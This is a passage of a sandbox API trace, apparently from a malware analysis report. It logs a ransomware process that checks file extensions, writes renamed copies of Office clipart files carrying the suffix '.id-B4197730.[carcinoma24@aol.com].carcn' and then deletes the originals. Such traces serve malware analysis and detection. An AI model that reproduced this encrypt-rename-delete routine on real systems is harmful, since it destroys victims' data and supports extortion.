(lpString=".1cd") returned 4 [0302.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW (lpString=".jpg") returned 4 [0302.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW (lpString=".doc") returned 4 [0302.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString=".docx") returned 5 [0302.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.104] lstrlenW (lpString=".pdf") returned 4 [0302.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString=".xls") returned 4 [0302.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.104] lstrlenW (lpString=".xlsx") returned 5 [0302.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.104] lstrlenW (lpString=".ppt") returned 4 [0302.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.104] lstrlenW (lpString=".zip") returned 4 [0302.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.105] lstrlenW (lpString=".rar") returned 4 [0302.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.105] lstrlenW (lpString=".bz2") returned 4 [0302.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.105] lstrlenW (lpString=".7z") returned 3 [0302.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.105] lstrlenW (lpString=".dbf") returned 4 [0302.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.105] lstrlenW (lpString=".1cd") returned 4 [0302.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0302.105] lstrlenW (lpString=".jpg") returned 4 [0302.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.105] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.105] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.106] GetLastError () returned 0x0 [0302.106] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3690, lpOverlapped=0x0) returned 1 [0302.107] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x36a0, lpOverlapped=0x0) returned 1 [0302.108] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.108] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.108] SetEndOfFile (hFile=0x380) returned 1 [0302.109] CloseHandle (hObject=0x380) returned 1 [0302.109] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.109] SetEndOfFile (hFile=0x368) returned 1 [0302.110] CloseHandle (hObject=0x368) returned 1 [0302.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0302.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.111] lstrlenW (lpString=".doc") returned 4 [0302.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.111] lstrlenW (lpString=".docx") returned 5 [0302.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.111] lstrlenW (lpString=".pdf") returned 4 [0302.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.111] lstrlenW (lpString=".xls") returned 4 [0302.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.111] lstrlenW (lpString=".xlsx") returned 5 [0302.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.111] lstrlenW (lpString=".ppt") returned 4 [0302.112] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.112] lstrlenW (lpString=".zip") returned 4 [0302.112] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.112] lstrlenW (lpString=".rar") returned 4 [0302.112] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.112] lstrlenW (lpString=".bz2") returned 4 [0302.112] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.112] lstrlenW (lpString=".7z") returned 3 [0302.112] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.112] lstrlenW (lpString=".dbf") returned 4 [0302.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.112] lstrlenW (lpString=".1cd") returned 4 [0302.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 68 [0302.112] lstrlenW (lpString=".jpg") returned 4 [0302.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.112] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.112] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.113] GetLastError () returned 0x0 [0302.113] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xa6d0, lpOverlapped=0x0) returned 1 [0302.115] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xa6e0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xa6e0, lpOverlapped=0x0) returned 1 [0302.116] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.116] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.116] SetEndOfFile (hFile=0x380) returned 1 [0302.117] CloseHandle (hObject=0x380) returned 1 [0302.117] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.117] SetEndOfFile (hFile=0x368) returned 1 [0302.118] CloseHandle (hObject=0x368) returned 1 [0302.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 1 [0302.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.119] lstrlenW (lpString=".doc") returned 4 [0302.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.119] lstrlenW (lpString=".docx") returned 5 [0302.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.119] lstrlenW (lpString=".pdf") returned 4 [0302.119] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.119] lstrlenW (lpString=".xls") returned 4 [0302.119] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.119] lstrlenW (lpString=".xlsx") returned 5 [0302.119] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.119] lstrlenW (lpString=".ppt") returned 4 [0302.119] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.119] lstrlenW (lpString=".zip") returned 4 [0302.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.119] lstrlenW (lpString=".rar") returned 4 [0302.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.119] lstrlenW (lpString=".bz2") returned 4 [0302.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.119] lstrlenW (lpString=".7z") returned 3 [0302.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.119] lstrlenW (lpString=".dbf") returned 4 [0302.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.120] lstrlenW (lpString=".1cd") returned 4 [0302.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0302.120] lstrlenW (lpString=".jpg") returned 4 [0302.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.120] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.120] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0302.121] GetLastError () returned 0x0 [0302.121] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0302.122] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x3b40, lpOverlapped=0x0) returned 1 [0302.123] ReadFile (in: hFile=0x368, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.123] WriteFile (in: hFile=0x380, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.123] SetEndOfFile (hFile=0x380) returned 1 [0302.123] CloseHandle (hObject=0x380) returned 1 [0302.123] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.123] SetEndOfFile (hFile=0x368) returned 1 [0302.124] CloseHandle (hObject=0x368) returned 1 [0302.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0302.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.125] lstrlenW (lpString=".doc") returned 4 [0302.125] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.125] lstrlenW (lpString=".docx") returned 5 [0302.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.314] lstrlenW (lpString=".pdf") returned 4 [0302.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.314] lstrlenW (lpString=".xls") returned 4 [0302.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.314] lstrlenW (lpString=".xlsx") returned 5 [0302.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.315] lstrlenW (lpString=".ppt") returned 4 [0302.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.315] lstrlenW (lpString=".zip") returned 4 [0302.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.315] lstrlenW (lpString=".rar") returned 4 [0302.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.315] lstrlenW (lpString=".bz2") returned 4 [0302.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.315] lstrlenW (lpString=".7z") returned 3 [0302.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.315] lstrlenW (lpString=".dbf") returned 4 [0302.315] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.315] lstrlenW (lpString=".1cd") returned 4 [0302.315] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0302.315] lstrlenW (lpString=".jpg") returned 4 [0302.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.618] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.618] GetLastError () returned 0x0 [0302.618] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x284c, lpOverlapped=0x0) returned 1 [0302.619] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x2850, lpOverlapped=0x0) returned 1 [0302.620] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.620] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0302.620] SetEndOfFile (hFile=0x358) returned 1 [0302.620] CloseHandle (hObject=0x358) returned 1 [0302.620] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.620] SetEndOfFile (hFile=0x380) returned 1 [0302.621] CloseHandle (hObject=0x380) returned 1 [0302.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0302.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.622] lstrlenW (lpString=".doc") returned 4 [0302.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.622] lstrlenW (lpString=".docx") returned 5 [0302.622] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0302.622] lstrlenW (lpString=".pdf") returned 4 [0302.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.622] lstrlenW (lpString=".xls") returned 4 [0302.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.622] lstrlenW (lpString=".xlsx") returned 5 [0302.622] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0302.622] lstrlenW (lpString=".ppt") returned 4 [0302.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.622] lstrlenW (lpString=".zip") returned 4 [0302.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.622] lstrlenW (lpString=".rar") returned 4 [0302.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.622] lstrlenW (lpString=".bz2") returned 4 [0302.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.622] lstrlenW (lpString=".7z") returned 3 [0302.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.622] lstrlenW (lpString=".dbf") returned 4 [0302.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0302.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.623] lstrlenW (lpString=".1cd") returned 4 [0302.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0302.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0302.623] lstrlenW (lpString=".jpg") returned 4 [0302.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0302.623] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.623] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0302.624] GetLastError () returned 0x0 [0302.624] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x816, lpOverlapped=0x0) returned 1 [0302.624] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x820, lpOverlapped=0x0) returned 1 [0302.625] ReadFile (in: hFile=0x380, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0302.625] WriteFile (in: hFile=0x358, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xe4, lpOverlapped=0x0) returned 1 [0302.625] SetEndOfFile (hFile=0x358) returned 1 [0302.626] CloseHandle (hObject=0x358) returned 1 [0302.626] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0302.626] SetEndOfFile (hFile=0x380) returned 1 [0302.627] CloseHandle (hObject=0x380) returned 1 [0302.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0302.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0302.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.627] lstrlenW (lpString=".doc") returned 4 [0302.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0302.627] lstrlenW (lpString=".docx") returned 5 [0302.627] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0302.627] lstrlenW (lpString=".pdf") returned 4 [0302.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0302.627] lstrlenW (lpString=".xls") returned 4 [0302.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0302.627] lstrlenW (lpString=".xlsx") returned 5 [0302.628] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0302.628] lstrlenW (lpString=".ppt") returned 4 [0302.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0302.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0302.628] lstrlenW (lpString=".zip") returned 4 [0302.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0302.628] lstrlenW (lpString=".rar") returned 4 [0302.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0302.628] lstrlenW (lpString=".bz2") returned 4 [0302.628] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0302.628] lstrlenW (lpString=".7z") returned 3 [0302.628] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0302.628] lstrlenW 